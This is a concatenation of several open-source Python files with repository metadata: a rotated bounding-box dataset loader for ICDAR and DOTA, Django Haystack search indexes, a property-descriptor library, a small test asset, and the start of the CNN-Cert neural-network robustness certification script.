(rect[i % rect_pt_num][0], rect[i % rect_pt_num][1]), (rect[(i + 1) % rect_pt_num][0], rect[(i + 1) % rect_pt_num][1]), (0, 255, 0), 2) if vis: pt_num = poly.shape[0] for i in range(poly.shape[0]): cv2.line(im, (poly[i % pt_num][0], poly[i % pt_num][1]), (poly[(i + 1) % pt_num][0], poly[(i + 1) % pt_num][1]), color, 2) poly = poly.reshape(-1) pt1 = (int(poly[0]), int(poly[1])) pt2 = (int(poly[2]), int(poly[3])) pt3 = (int(poly[4]), int(poly[5])) pt4 = (int(poly[6]), int(poly[7])) edge1 = np.sqrt((pt1[0] - pt2[0]) * (pt1[0] - pt2[0]) + (pt1[1] - pt2[1]) * (pt1[1] - pt2[1])) edge2 = np.sqrt((pt2[0] - pt3[0]) * (pt2[0] - pt3[0]) + (pt2[1] - pt3[1]) * (pt2[1] - pt3[1])) angle = 0 if edge1 > edge2: width = edge1 height = edge2 if pt1[0] - pt2[0] != 0: angle = -np.arctan(float(pt1[1] - pt2[1]) / float(pt1[0] - pt2[0])) / 3.1415926 * 180 else: angle = 90.0 elif edge2 >= edge1: width = edge2 height = edge1 # print pt2[0], pt3[0] if pt2[0] - pt3[0] != 0: angle = -np.arctan(float(pt2[1] - pt3[1]) / float(pt2[0] - pt3[0])) / 3.1415926 * 180 else: angle = 90.0 if angle < -45.0: angle = angle + 180 x_ctr = float(pt1[0] + pt3[0]) / 2 # pt1[0] + np.abs(float(pt1[0] - pt3[0])) / 2 y_ctr = float(pt1[1] + pt3[1]) / 2 # pt1[1] + np.abs(float(pt1[1] - pt3[1])) / 2 # if height * width * (800 / float(img.shape[0])) < 16 * 16 and mode == "train": # continue if ignore: hard_boxes.append([x_ctr, y_ctr, width, height, angle]) else: easy_boxes.append([x_ctr, y_ctr, width, height, angle]) # boxes.append([x_ctr, y_ctr, width, height, angle, gt_ind[8]]) # img_pil = Image.fromarray(im) boxes = [] boxes.extend(easy_boxes) boxes.extend(hard_boxes[0: int(len(hard_boxes) / 5)]) len_of_bboxes = len(boxes) gt_boxes = np.zeros((len_of_bboxes, 5), dtype=np.int16) gt_classes = np.zeros((len_of_bboxes), dtype=np.int32) overlaps = np.zeros((len_of_bboxes, 2), dtype=np.float32) # text or non-text seg_areas = np.zeros((len_of_bboxes), dtype=np.float32) for idx in range(len(boxes)): gt_boxes[idx, :] = [boxes[idx][0], boxes[idx][1], boxes[idx][2], boxes[idx][3], boxes[idx][4]] gt_classes[idx] = 1 # cls_text overlaps[idx, 1] = 1.0 # cls_text seg_areas[idx] = (boxes[idx][2]) * (boxes[idx][3]) # img_pil = vis_image(img_pil, gt_boxes) # img_pil.save('gt_LSVT.jpg', 'jpeg') # break max_overlaps = overlaps.max(axis=1) # gt class that had the max overlap max_classes = overlaps.argmax(axis=1) if gt_boxes.shape[0] <= 0 or gt_boxes.shape[0] > 100: continue # print('gt_boxes:', gt_boxes) im_info = { 'gt_classes': gt_classes, 'max_classes': max_classes, 'image': impath, 'boxes': gt_boxes, 'flipped': False, 'gt_overlaps': overlaps, 'seg_areas': seg_areas, 'height': im.shape[0], 'width': im.shape[1], 'max_overlaps': max_overlaps, 'rotated': True } im_infos.append(im_info) print('Saving pkls...') pkl_f = open(cache_file, 'wb') pickle.dump(im_infos, pkl_f) pkl_f.close() print('done') return im_infos def get_ICDAR_ArT(mode, dataset_dir): assert mode in ['train', 'val', 'full'], 'mode not in ' + str(['train', 'val', 'full']) data_split = { 'val':[4000, 5603], 'train':[0, 4000], 'full':[0, 5603] } vis = False dataset_dir = os.path.join(dataset_dir, 'ArT_detect_train') cache_file = './data_cache/ArT_det_' + mode + '.pkl' if os.path.isfile(cache_file): print('dataset cache found, loading from it...') im_infos = pickle.load(open(cache_file, 'rb')) print('load done') return im_infos im_codes = range(data_split[mode][0], data_split[mode][1]) gt_json = os.path.join(dataset_dir, 'train_labels.json') gt_dict = json.load(open(gt_json, 'r')) im_infos = [] num_samples = data_split[mode][1] - data_split[mode][0] for imnum in im_codes: # forder = int(imnum / 15000) imfolder = os.path.join(dataset_dir, 'train_images') impath = os.path.join(imfolder, 'gt_' + str(imnum) + '.jpg') gt_code = 'gt_' + str(imnum) gt_anno = gt_dict[gt_code] inst_num = len(gt_anno) im = cv2.imread(impath) easy_boxes = [] hard_boxes = [] print(str(imnum) + '/' + str(data_split[mode][0] + num_samples), impath) for i in range(inst_num): inst = gt_anno[i] # print(inst.keys()) poly = np.array(inst['points']) words = inst['transcription'] illegibility = inst['illegibility'] language = inst['language'] color = (255, 0, 255) if illegibility else (0, 0, 255) if poly.shape[0] > 4: # print('polygon:', poly.shape[0]) rect = cv2.minAreaRect(poly) poly = np.array(cv2.boxPoints(rect), np.int) # print('rect:', rect) if vis: rect_pt_num = rect.shape[0] for i in range(rect.shape[0]): cv2.line(im, (rect[i % rect_pt_num][0], rect[i % rect_pt_num][1]), (rect[(i + 1) % rect_pt_num][0], rect[(i + 1) % rect_pt_num][1]), (0, 255, 0), 2) if vis: pt_num = poly.shape[0] for i in range(poly.shape[0]): cv2.line(im, (poly[i % pt_num][0], poly[i % pt_num][1]), (poly[(i + 1) % pt_num][0], poly[(i + 1) % pt_num][1]), color, 2) if poly.shape[0] < 4: print('poly:', poly.shape, np.array(inst['points']).shape) continue poly = poly.reshape(-1) pt1 = (int(poly[0]), int(poly[1])) pt2 = (int(poly[2]), int(poly[3])) pt3 = (int(poly[4]), int(poly[5])) pt4 = (int(poly[6]), int(poly[7])) edge1 = np.sqrt((pt1[0] - pt2[0]) * (pt1[0] - pt2[0]) + (pt1[1] - pt2[1]) * (pt1[1] - pt2[1])) edge2 = np.sqrt((pt2[0] - pt3[0]) * (pt2[0] - pt3[0]) + (pt2[1] - pt3[1]) * (pt2[1] - pt3[1])) angle = 0 if edge1 > edge2: width = edge1 height = edge2 if pt1[0] - pt2[0] != 0: angle = -np.arctan(float(pt1[1] - pt2[1]) / float(pt1[0] - pt2[0])) / 3.1415926 * 180 else: angle = 90.0 elif edge2 >= edge1: width = edge2 height = edge1 # print pt2[0], pt3[0] if pt2[0] - pt3[0] != 0: angle = -np.arctan(float(pt2[1] - pt3[1]) / float(pt2[0] - pt3[0])) / 3.1415926 * 180 else: angle = 90.0 if angle < -45.0: angle = angle + 180 x_ctr = float(pt1[0] + pt3[0]) / 2 # pt1[0] + np.abs(float(pt1[0] - pt3[0])) / 2 y_ctr = float(pt1[1] + pt3[1]) / 2 # pt1[1] + np.abs(float(pt1[1] - pt3[1])) / 2 # if height * width * (800 / float(img.shape[0])) < 16 * 16 and mode == "train": # continue if illegibility: hard_boxes.append([x_ctr, y_ctr, width, height, angle]) else: easy_boxes.append([x_ctr, y_ctr, width, height, angle]) # boxes.append([x_ctr, y_ctr, width, height, angle, gt_ind[8]]) # img_pil = Image.fromarray(im) boxes = [] boxes.extend(easy_boxes) # boxes.extend(hard_boxes[0: int(len(hard_boxes) / 3)]) len_of_bboxes = len(boxes) gt_boxes = np.zeros((len_of_bboxes, 5), dtype=np.int16) gt_classes = np.zeros((len_of_bboxes), dtype=np.int32) overlaps = np.zeros((len_of_bboxes, 2), dtype=np.float32) # text or non-text seg_areas = np.zeros((len_of_bboxes), dtype=np.float32) for idx in range(len(boxes)): gt_boxes[idx, :] = [boxes[idx][0], boxes[idx][1], boxes[idx][2], boxes[idx][3], boxes[idx][4]] gt_classes[idx] = 1 # cls_text overlaps[idx, 1] = 1.0 # cls_text seg_areas[idx] = (boxes[idx][2]) * (boxes[idx][3]) # img_pil = vis_image(img_pil, gt_boxes) # img_pil.save('gt_LSVT.jpg', 'jpeg') # break max_overlaps = overlaps.max(axis=1) # gt class that had the max overlap max_classes = overlaps.argmax(axis=1) if gt_boxes.shape[0] <= 0: continue # print('gt_boxes:', gt_boxes) im_info = { 'gt_classes': gt_classes, 'max_classes': max_classes, 'image': impath, 'boxes': gt_boxes, 'flipped': False, 'gt_overlaps': overlaps, 'seg_areas': seg_areas, 'height': im.shape[0], 'width': im.shape[1], 'max_overlaps': max_overlaps, 'rotated': True } im_infos.append(im_info) print('Saving pkls...') pkl_f = open(cache_file, 'wb') pickle.dump(im_infos, pkl_f) pkl_f.close() print('done') return im_infos ########################################## # clw modify : 20190802 def get_DOTA(mode, dataset_dir): DATASET_DIR = dataset_dir print('clw:在get_DOTA中, dataset_dir = ', dataset_dir) #img_dir = "/ch2_training_images/" #gt_dir = "/ch2_training_localization_transcription_gt" img_dir = "/images/" # clw modify gt_dir = "/labelTxt/" # TODO:这个还需要自己生成，之前在R2CNN的train_crop写过生成方法 cls_list = \ { 'background': 0, 'roundabout': 1, 'tennis-court': 2, 'swimming-pool': 3, 'storage-tank': 4, 'soccer-ball-field': 5, 'small-vehicle': 6, 'ship': 7, 'plane': 8, 'large-vehicle': 9, 'helicopter': 10, 'harbor': 11, 'ground-track-field': 12, 'bridge': 13, 'basketball-court': 14, 'baseball-diamond': 15, 'helipad': 16, 'airport': 17, 'container-crane': 18 } # gt_list = [] # img_list = [] im_infos = [] image_dir = DATASET_DIR + img_dir gt_file_list = os.listdir(image_dir) #gt_words = [] if mode == 'train': cache_pkl = './data_cache/DOTA_training.pkl' if os.path.isfile(cache_pkl): return pickle.load(open(cache_pkl, 'rb')) count_small = 0 # 统计小物体 for image in gt_file_list: #prefix = image[:-4] #im_path = os.path.join(image_dir, image) #gt_path = os.path.join(dataset_dir + gt_dir, 'gt_' + prefix + '.txt') prefix = image.split('.')[0] im_path = os.path.join(image_dir, image) gt_path = os.path.join(dataset_dir + gt_dir, prefix + '.txt') print(im_path) gt_list = open(gt_path, 'r', encoding='utf-8').readlines() im = cv2.imread(im_path) if im is None: print(im_path + '--> None') continue boxes = [] for gt_ele in gt_list: gt_ele = gt_ele.replace('\n', '').replace('\ufeff', '') #gt = gt_ele.split(',') gt = gt_ele.split(' ') # 形如2244.0 1791.0 2254.0 1795.0 2245.0 1813.0 2238.0 1809.0 small-vehicle 1 if len(gt) > 1: gt_ind = np.array(gt[:8], dtype=np.float32) #gt_ind = np.array(gt_ind, dtype=np.int32) words = gt[8] # clw note: 对于数据集都是矩形框如ICDAR,而且四个顶点必须按顺时针或逆时针顺序出现，才可以这样写, # 而这里是四边形框,且四个点随机出现,因此考虑使用cv2,先转成矩形框 rect = cv2.minAreaRect(np.array([[gt_ind[0], gt_ind[1]], [gt_ind[2], gt_ind[3]], [gt_ind[4], gt_ind[5]],[gt_ind[6], gt_ind[7]]])) # x_ctr = rect[0][0] # y_ctr = rect[0][1] # width = rect[1][0] # height = rect[1][1] # angle = rect[2] # rect[2]范围是[-90, 0), 而angle范围从上面来看是[-45, 135) box = cv2.boxPoints(rect) # 获取最小外接矩形的4个顶点坐标 box = np.round(box) # clw note: 顺时针标注,顺序不一定 pt1 = (box[0][0], box[0][1]) pt2 = (box[1][0], box[1][1]) pt3 = (box[2][0], box[2][1]) pt4 = (box[3][0], box[3][1]) ############################################################################################## edge1 = np.sqrt((pt1[0] - pt2[0]) * (pt1[0] - pt2[0]) + (pt1[1] - pt2[1]) * (pt1[1] - pt2[1])) # clw note: (x1 - x2)^2 + (y1 - y2)^2 edge2 = np.sqrt((pt2[0] - pt3[0]) * (pt2[0] - pt3[0]) + (pt2[1] - pt3[1]) * (pt2[1] - pt3[1])) angle = 0 if edge1 > edge2: width = edge1 height = edge2 if pt1[0] - pt2[0] != 0: angle = -np.arctan(float(pt1[1] - pt2[1]) / float(pt1[0] - pt2[0])) / 3.1415926 * 180 else: angle = 90.0 elif edge2 >= edge1: width = edge2 height = edge1 # print pt2[0], pt3[0] if pt2[0] - pt3[0] != 0: angle = -np.arctan(float(pt2[1] - pt3[1]) / float(pt2[0] - pt3[0])) / 3.1415926 * 180 else: angle = 90.0 if angle < -45.0: angle = angle + 180 x_ctr = float(pt1[0] + pt3[0]) / 2 # pt1[0] + np.abs(float(pt1[0] - pt3[0])) / 2 y_ctr = float(pt1[1] + pt3[1]) / 2 # pt1[1] + np.abs(float(pt1[1] - pt3[1])) / 2 ############################################################################################## # continue if height * width < 8 * 8: print('clw: 小于8x8,删掉,count = ',count_small) count_small = count_small+1 continue # return to width, height # if '###' in words: # continue if not words in ['roundabout','tennis-court','swimming-pool','storage-tank','soccer-ball-field','small-vehicle','ship','plane','large-vehicle', 'helicopter','harbor','ground-track-field','bridge','basketball-court', 'baseball-diamond','helipad','airport','container-crane']: print('clw: gt_ind[8] = ' + gt_ind[8] + 'not in list') continue boxes.append([x_ctr, y_ctr, width, height, angle, words]) #cls_num = 2 cls_num = len(cls_list.keys()) len_of_bboxes = len(boxes) ########################################################################## # clw note: 如果只有一个类别 #gt_boxes = np.zeros((len_of_bboxes, 5), dtype=np.int16) #gt_classes = np.zeros((len_of_bboxes), dtype=np.int32) #overlaps = np.zeros((len_of_bboxes, cls_num), dtype=np.float32) # text or non-text #seg_areas = np.zeros((len_of_bboxes), dtype=np.float32) ########################################################################## ########################################################################## ### 如果有多个类别: gt_boxes_list = [] # np.zeros((len_of_bboxes, 5), dtype=np.int16) gt_classes_list = [] # np.zeros((len_of_bboxes), dtype=np.int32) overlaps_list = [] # np.zeros((len_of_bboxes, cls_num), dtype=np.float32) #text or non-text seg_areas_list = [] # np.zeros((len_of_bboxes), dtype=np.float32) ########################################################################## for idx in range(len(boxes)): ########################################################################## ### 如果有多个类别: if not boxes[idx][5] in cls_list: print(boxes[idx][5] + " not in list") continue gt_classes_list.append(cls_list[boxes[idx][5]]) # cls_text overlap = np.zeros((cls_num)) overlap[cls_list[boxes[idx][5]]] = 1.0 # prob overlaps_list.append(overlap) seg_areas_list.append((boxes[idx][2]) * (boxes[idx][3])) gt_boxes_list.append([boxes[idx][0], boxes[idx][1], boxes[idx][2], boxes[idx][3], boxes[idx][4]]) gt_classes = np.array(gt_classes_list) overlaps = np.array(overlaps_list) seg_areas = np.array(seg_areas_list) gt_boxes = np.array(gt_boxes_list) ########################################################################## ########################################################################## ### clw note:如果只有一个类别 #gt_classes[idx] = 1 # cls_text #overlaps[idx, 1] = 1.0 # prob #seg_areas[idx] = (boxes[idx][2]) * (boxes[idx][3]) #gt_boxes[idx, :] = [boxes[idx][0], boxes[idx][1], boxes[idx][2], boxes[idx][3], boxes[idx][4]] ########################################################################## # print ("boxes_size:", gt_boxes.shape[0]) if gt_boxes.shape[0] > 0: max_overlaps = overlaps.max(axis=1) # gt class that had the max overlap max_classes = overlaps.argmax(axis=1) else: continue im_info = { 'gt_classes': gt_classes, 'max_classes': max_classes, 'image': im_path, 'boxes': gt_boxes, #'gt_words': gt_words, # clw note:不需要 'flipped': False, 'gt_overlaps': overlaps, 'seg_areas': seg_areas, 'height': im.shape[0], 'width': im.shape[1], 'max_overlaps': max_overlaps, 'rotated': True } im_infos.append(im_info) f_save_pkl = open(cache_pkl, 'wb') pickle.dump(im_infos, f_save_pkl) f_save_pkl.close() print("Save pickle done.") return im_infos ########################################## DATASET = { 'IC13':get_ICDAR2013, 'IC15':get_ICDAR2015_RRC_PICK_TRAIN, 'IC17mlt':get_ICDAR2017_mlt, 'LSVT':get_ICDAR_LSVT_full, 'ArT':get_ICDAR_ArT, 'ReCTs':get_ICDAR_ReCTs_full, 'DOTA':get_DOTA, # clw modify } _DEBUG = False class RotationDataset(torch.utils.data.Dataset): CLASSES = ( "__background__ ", #"background", "roundabout", "tennis-court", "swimming-pool", "storage-tank", "soccer-ball-field", "small-vehicle", "ship", "plane", "large-vehicle", "helicopter", "harbor", "ground-track-field", "bridge", "basketball-court", "baseball-diamond", "helipad", "airport", "container-crane" ) def __init__(self, database, use_difficult=False, transforms=None): # database:{dataset_name, dataset_dir} self.transforms = transforms self.annobase = [] for dataset_name in database: if dataset_name in DATASET: self.annobase.extend(DATASET[dataset_name]('train', database[dataset_name])) # clw note:由annobase把12519条训练数据加载进来,通过加载.pkl print('DATASET: Total samples from:', database.keys(), len(self.annobase)) self.ids = [anno['image'][:-4] for anno in self.annobase] self.id_to_img_map = {k: v for k, v in enumerate(self.ids)} cls = RotationDataset.CLASSES self.class_to_ind = dict(zip(cls, range(len(cls)))) self.mixup = T.MixUp(mix_ratio=0.1) self.num_samples = len(self.annobase) def __getitem__(self, index): # if _DEBUG: # index = 0 # img_id = self.ids[index] im_path = self.annobase[index]['image']# os.path.join(self.root, img_id + '.jpg') img = Image.open(im_path).convert("RGB") # im = cv2.imread(im_path) anno = self.annobase[index] target = RBoxList(torch.from_numpy(anno["boxes"]), (anno['width'], anno['height']), mode="xywha") target.add_field("labels", torch.from_numpy(anno["gt_classes"])) target.add_field("difficult", torch.Tensor([0 for i in range(len(anno["gt_classes"]))])) target = target.clip_to_image(remove_empty=True) # print('target:', target, im_path) if self.transforms is not None: # off = int(self.num_samples * np.random.rand()) # mix_index = (off + index) % self.num_samples # img_mix = Image.open(self.annobase[mix_index]['image']).convert("RGB") # img, target = self.mixup(img, img_mix, target) img, target = self.transforms(img, target) if _DEBUG: if not target is None: self.show_boxes(img, target) return img, target, index def __len__(self): return len(self.ids) def get_img_info(self, index): return {"height": self.annobase[index]['height'], "width": self.annobase[index]['width']} def map_class_id_to_class_name(self, class_id): return RotationDataset.CLASSES[class_id] def show_boxes(self, img, target): bbox_np = target.bbox.data.cpu().numpy() # print('image shape:', img.size()) np_img = np.transpose(np.uint8(img.data.cpu().numpy()), (1, 2, 0)) img_pil = Image.fromarray(np_img) # print('bbox_np:', bbox_np) draw_img = vis_image(img_pil, bbox_np) draw_img.save('gt_show.jpg', 'jpeg') # print('Sleep for show...') # time.sleep(2) if __name__ == '__main__': get_DOTA('train', '/media/clwclw/Elements/deep_learning/competion/2019yaogan/train/train_crop_800') #get_DOTA('train', 'H:/deep_learning/competion/2019yaogan/train/train_crop_1200')

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7

a2b6de51aa8614d3e7e120556af9b50eb741d2b7

17

py

Python

tests/assets/py.py

jayqi/reprexlite

efe0fa3190bd77ba8d47be6995cd9a0d040d36d4

[ "MIT" ]

6

2021-02-15T11:33:05.000Z

2021-05-31T04:14:18.000Z

tests/assets/no_ad/py.py

jayqi/reprexlite

efe0fa3190bd77ba8d47be6995cd9a0d040d36d4

[ "MIT" ]

51

2021-02-15T21:06:51.000Z

2022-03-31T15:11:21.000Z

tests/assets/py.py

jayqi/reprexlite

efe0fa3190bd77ba8d47be6995cd9a0d040d36d4

[ "MIT" ]

null

x = 2 x + 2 #> 4

4.25

5

0.294118

5

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0.8

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0.470588

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7

0c0de7d4786d762694e8d349bd7ae3a2cc0fc211

828

py

Python

books/search_indexes.py

phildini/bockus

004508166f5b1a7c3c4d8accf32578a80379b385

[ "MIT" ]

3

2015-07-15T05:29:17.000Z

2021-06-23T21:50:25.000Z

books/search_indexes.py

phildini/bockus

004508166f5b1a7c3c4d8accf32578a80379b385

[ "MIT" ]

4

2020-02-11T22:15:04.000Z

2021-06-10T17:41:51.000Z

books/search_indexes.py

phildini/bockus

004508166f5b1a7c3c4d8accf32578a80379b385

[ "MIT" ]

null

from haystack import indexes from books.models import Book, Series class BookIndex(indexes.SearchIndex, indexes.Indexable): text = indexes.NgramField(document=True, use_template=True) library = indexes.IntegerField(model_attr="library_id") def get_model(self): return Book def index_queryset(self, using=None): return self.get_model().objects.all() def get_updated_field(self): return 'modified' class SeriesIndex(indexes.SearchIndex, indexes.Indexable): text = indexes.NgramField(document=True, use_template=True) library = indexes.IntegerField(model_attr="library_id") def get_model(self): return Series def index_queryset(self, using=None): return self.get_model().objects.all() def get_updated_field(self): return 'modified'

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null

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9

0c178132811cb0009bf2bfe790d3208c8ef96067

70

py

Python

cfl/util/__init__.py

eberharf/cfl

077b99a05824f1371ac47d76dfed6bb160222668

[ "BSD-3-Clause" ]

6

2021-01-09T04:46:55.000Z

2022-03-19T22:27:13.000Z

cfl/util/__init__.py

eberharf/cfl

077b99a05824f1371ac47d76dfed6bb160222668

[ "BSD-3-Clause" ]

12

2021-01-11T16:32:58.000Z

2022-03-19T13:21:30.000Z

cfl/util/__init__.py

eberharf/cfl

077b99a05824f1371ac47d76dfed6bb160222668

[ "BSD-3-Clause" ]

null

import cfl.util.data_processing import cfl.util.find_xlbl_locations

23.333333

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7

0c4f3df3920b634e692e2a63645a0dc1ac0e0b66

6,326

py

Python

proppy/props.py

zfzackfrost/proppy

9bfe1cfc5b4306e0fcec8bdfb3fe6df5035ca7c1

[ "MIT" ]

null

proppy/props.py

zfzackfrost/proppy

9bfe1cfc5b4306e0fcec8bdfb3fe6df5035ca7c1

[ "MIT" ]

null

proppy/props.py

zfzackfrost/proppy

9bfe1cfc5b4306e0fcec8bdfb3fe6df5035ca7c1

[ "MIT" ]

null

# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ # # ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Property Types ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ # # ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ # class Property: """Base class for all properties. This can be used directly for simple properties with behaviour similar to a normal Python variable. In other cases (i.e. more advanced property features are requiered), a subclass of `Property` should be used. Note `Property` objects don't store any data themselves, other than their default value. They simply define the rules for creating, reading and writing a property of a given type. """ def __init__(self, default_value): """Initialize the property. Arguments: default_value (anything): The initial value of the property """ self.__default_value = default_value def make_property_init(self, propname): """Creates a function that intializes the property Arguments: propname (str): The name of the instance-level variable that the property will be accessed from Returns: callable: A function that creates the instance level variable the property with the specified property name. The name of the instance level variable that is created should be the value of `propname` with a single underscore before it. The function that is returned takes a single argument: `self`. """ this = self def initializer(self): setattr(self, '_' + propname, this.__default_value) return initializer def make_getter(self, propname): """Creates a function that gets the property Arguments: propname (str): The name of the instance-level variable that the property is accessed from Returns: callable: A function that gets the instance level variable for the property with the specified property name. The name of the instance level variable that is retrieved should be the value of `propname` with a single underscore before it. The function that is returned takes a single argument: `self`. """ def getter(self): return getattr(self, '_' + propname) return getter def make_setter(self, propname): """Creates a function that sets the property Arguments: propname (str): The name of the instance-level variable that the property is accessed from Returns: callable: A function that sets the instance level variable for the property with the specified property name. The name of the instance level variable that is written to should be the value of `propname` with a single underscore before it. The function that is returned (the setter) takes two arguments: `self` and a the new value. """ def setter(self, value): setattr(self, '_' + propname, value) return setter # ~~~~~~~~~~~~~~~~~~~~~~~~~~ `Property` Subclasses ~~~~~~~~~~~~~~~~~~~~~~~~~~~ # class WriteOnceProperty(Property): """Property that allows only a single assignment, other than the default value. This property type has a getter and setter like any other property. However, the setter sets a flag after the first assignment that disables further changes to the value. Since the default value is handled separately from the setter, the initial value of a `WriteOnceProperty` (set in the constructor) does not count as the single allowed assignment. """ def __init__(self, default_value): """Initialize the property. Arguments: default_value (anything): The initial value of the property """ self.__default_value = default_value def make_property_init(self, propname): """Creates a function that intializes the property Arguments: propname (str): The name of the instance-level variable that the property will be accessed from Returns: callable: A function that creates the instance level variable the property with the specified property name. The name of the instance level variable that is created should be the value of `propname` with a single underscore before it. The function that is returned takes a single argument: `self`. """ this = self def initializer(self): setattr(self, '_' + propname, this.__default_value) setattr(self, '_' + propname + '__written', False) return initializer def make_getter(self, propname): """Creates a function that gets the property Arguments: propname (str): The name of the instance-level variable that the property is accessed from Returns: callable: A function that gets the instance level variable for the property with the specified property name. The name of the instance level variable that is retrieved should be the value of `propname` with a single underscore before it. The function that is returned takes a single argument: `self`. """ def getter(self): return getattr(self, '_' + propname) return getter def make_setter(self, propname): """Creates a function that sets the property Arguments: propname (str): The name of the instance-level variable that the property is accessed from Returns: callable: A function that sets the instance level variable for the property with the specified property name. The name of the instance level variable that is written to should be the value of `propname` with a single underscore before it. The function that is returned (the setter) takes two arguments: `self` and a the new value. """ def setter(self, value): has_written = getattr(self, '_' + propname + '__written') if not has_written: setattr(self, '_' + propname, value) setattr(self, '_' + propname + '__written', True) return setter

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8

a746d1074ef4759b0c8d7742cf962eac204dff73

33,394

py

Python

cnn_cert/pymain.py

AI-secure/VeriGauge

098861c5d7330c934cec01fcf6dbf80e1b1fda2d

[ "MIT" ]

54

2020-09-09T12:43:43.000Z

2022-03-17T17:31:19.000Z

cnn_cert/pymain.py

AI-secure/VeriGauger

098861c5d7330c934cec01fcf6dbf80e1b1fda2d

[ "MIT" ]

8

2020-09-23T05:11:31.000Z

2022-03-12T00:47:29.000Z

cnn_cert/pymain.py

AI-secure/VeriGauger

098861c5d7330c934cec01fcf6dbf80e1b1fda2d

[ "MIT" ]

5

2020-09-10T07:19:43.000Z

2021-07-24T06:28:04.000Z

""" pymain.py Main CNN-Cert interfacing file Copyright (C) 2018, Akhilan Boopathy <akhilan@mit.edu> Lily Weng <twweng@mit.edu> Pin-Yu Chen <Pin-Yu.Chen@ibm.com> Sijia Liu <Sijia.Liu@ibm.com> Luca Daniel <dluca@mit.edu> """ import subprocess import numpy as np from cnn_bounds_full import run as run_cnn_full from cnn_bounds_full_core import run as run_cnn_full_core from Attacks.cw_attack import cw_attack from tensorflow.contrib.keras.api.keras import backend as K import time as timing import datetime ts = timing.time() timestr = datetime.datetime.fromtimestamp(ts).strftime('%Y%m%d_%H%M%S') #Prints to log file def printlog(s): print(s, file=open("log_pymain_"+timestr+".txt", "a")) #Runs command line command def command(cmd): return subprocess.run(cmd, stdout=subprocess.PIPE, shell=True).stdout.decode('utf-8') #Runs fastlin with specified parameters def run(hidden, numlayer, numimage, norm, filename = '', layers = None, lp=False, lpfull= False, dual=False, sparse = False, spectral = False, cifar = False, cnnmodel = False, tinyimagenet=False): if sparse: cmd = 'python3 fastlin/main_sparse.py ' else: cmd = 'python3 fastlin/main.py ' if cifar: cmd += '--model cifar ' if tinyimagenet: cmd += '--model tiny ' if spectral: cmd += '--method spectral ' if cnnmodel: cmd += '--cnnmodel ' cmd += '--hidden ' + str(hidden) + ' ' cmd += '--numlayer ' + str(numlayer) + ' ' cmd += '--numimage ' + str(numimage) + ' ' cmd += '--norm ' + str(norm) + ' ' if lp: cmd += '--LP ' if lpfull: cmd += '--LPFULL ' if dual: cmd += '--dual ' if filename: cmd += '--filename ' + str(filename) + ' ' cmd += '--layers ' + ' '.join(str(l) for l in layers) + ' ' cmd += '--eps 0.05 --warmup --targettype random' printlog("cmd: " +str(cmd)) result = command(cmd) result = result.rsplit('\n',2)[-2].split(',') LB = result[1].strip()[20:] time = result[3].strip()[17:] return float(LB), float(time) #Runs CNN-Cert with specified parameters def run_cnn(file_name, n_samples, norm, core=True, activation='relu', cifar=False, tinyimagenet=False): if core: if norm == 'i': #run_cnn_full_core(file_name, n_samples, 105, 1, activation, cifar, tinyimagenet) return run_cnn_full_core(file_name, n_samples, 105, 1, activation, cifar, tinyimagenet) elif norm == '2': return run_cnn_full_core(file_name, n_samples, 2, 2, activation, cifar, tinyimagenet) if norm == '1': return run_cnn_full_core(file_name, n_samples, 1, 105, activation, cifar, tinyimagenet) else: if norm == 'i': return run_cnn_full(file_name, n_samples, 105, 1, activation, cifar, tinyimagenet) elif norm == '2': return run_cnn_full(file_name, n_samples, 2, 2, activation, cifar, tinyimagenet) if norm == '1': return run_cnn_full(file_name, n_samples, 1, 105, activation, cifar, tinyimagenet) #Runs all fastlin and CNN-Cert variations def run_all_relu(layers, file_name, mlp_file_name, cifar = False, num_image=10, flfull = False, nonada = False): if len(file_name.split('_')) == 5: filters = file_name.split('_')[-2] kernel_size = file_name.split('_')[-1] else: filters = None LBs = [] times = [] for norm in ['i', '2', '1']: LBss = [] timess = [] if nonada: #Run non adaptive CNN-Cert bounds LB, time = run_cnn(file_name, num_image, norm, cifar=cifar) printlog("CNN-Cert-relu") if filters: printlog("model name = {0}, numlayer = {1}, numimage = {2}, norm = {3}, targettype = random, filters = {4}, kernel size = {5}".format(file_name,len(layers)+1,num_image,norm,filters,kernel_size)) else: printlog("model name = {0}, numlayer = {1}, numimage = {2}, norm = {3}, targettype = random".format(file_name,len(layers)+1,num_image,norm)) printlog("avg robustness = {:.5f}".format(LB)) printlog("avg run time = {:.2f}".format(time)+" sec") printlog("-----------------------------------") LBss.append(LB) timess.append(time) LB, time = run_cnn(file_name, num_image, norm, activation='ada', cifar=cifar) printlog("CNN-Cert-Ada, ReLU activation") if filters: printlog("model name = {0}, numlayer = {1}, numimage = {2}, norm = {3}, targettype = random, filters = {4}, kernel size = {5}".format(file_name,len(layers)+1,num_image,norm,filters,kernel_size)) else: printlog("model name = {0}, numlayer = {1}, numimage = {2}, norm = {3}, targettype = random".format(file_name,len(layers)+1,num_image,norm)) printlog("avg robustness = {:.5f}".format(LB)) printlog("avg run time = {:.2f}".format(time)+" sec") printlog("-----------------------------------") LBss.append(LB) timess.append(time) LB, time = run(999, len(layers)+1, num_image, norm, mlp_file_name, layers, sparse=True, cifar=cifar) printlog("fastlin, Sparse") if filters: printlog("model name = {0}, numlayer = {1}, numimage = {2}, norm = {3}, targettype = random, filters = {4}, kernel size = {5}".format(file_name,len(layers)+1,num_image,norm,filters,kernel_size)) else: printlog("model name = {0}, numlayer = {1}, numimage = {2}, norm = {3}, targettype = random".format(file_name,len(layers)+1,num_image,norm)) printlog("avg robustness = {:.5f}".format(LB)) printlog("avg run time = {:.2f}".format(time)+" sec") printlog("-----------------------------------") LBss.append(LB) timess.append(time) if flfull: #Run full matrix version of fastlin LB, time = run(999, len(layers)+1, num_image, norm, mlp_file_name, layers, cifar=cifar) printlog("fastlin") if filters: printlog("model name = {0}, numlayer = {1}, numimage = {2}, norm = {3}, targettype = random, filters = {4}, kernel size = {5}".format(file_name,len(layers)+1,num_image,norm,filters,kernel_size)) else: printlog("model name = {0}, numlayer = {1}, numimage = {2}, norm = {3}, targettype = random".format(file_name,len(layers)+1,num_image,norm)) printlog("avg robustness = {:.5f}".format(LB)) 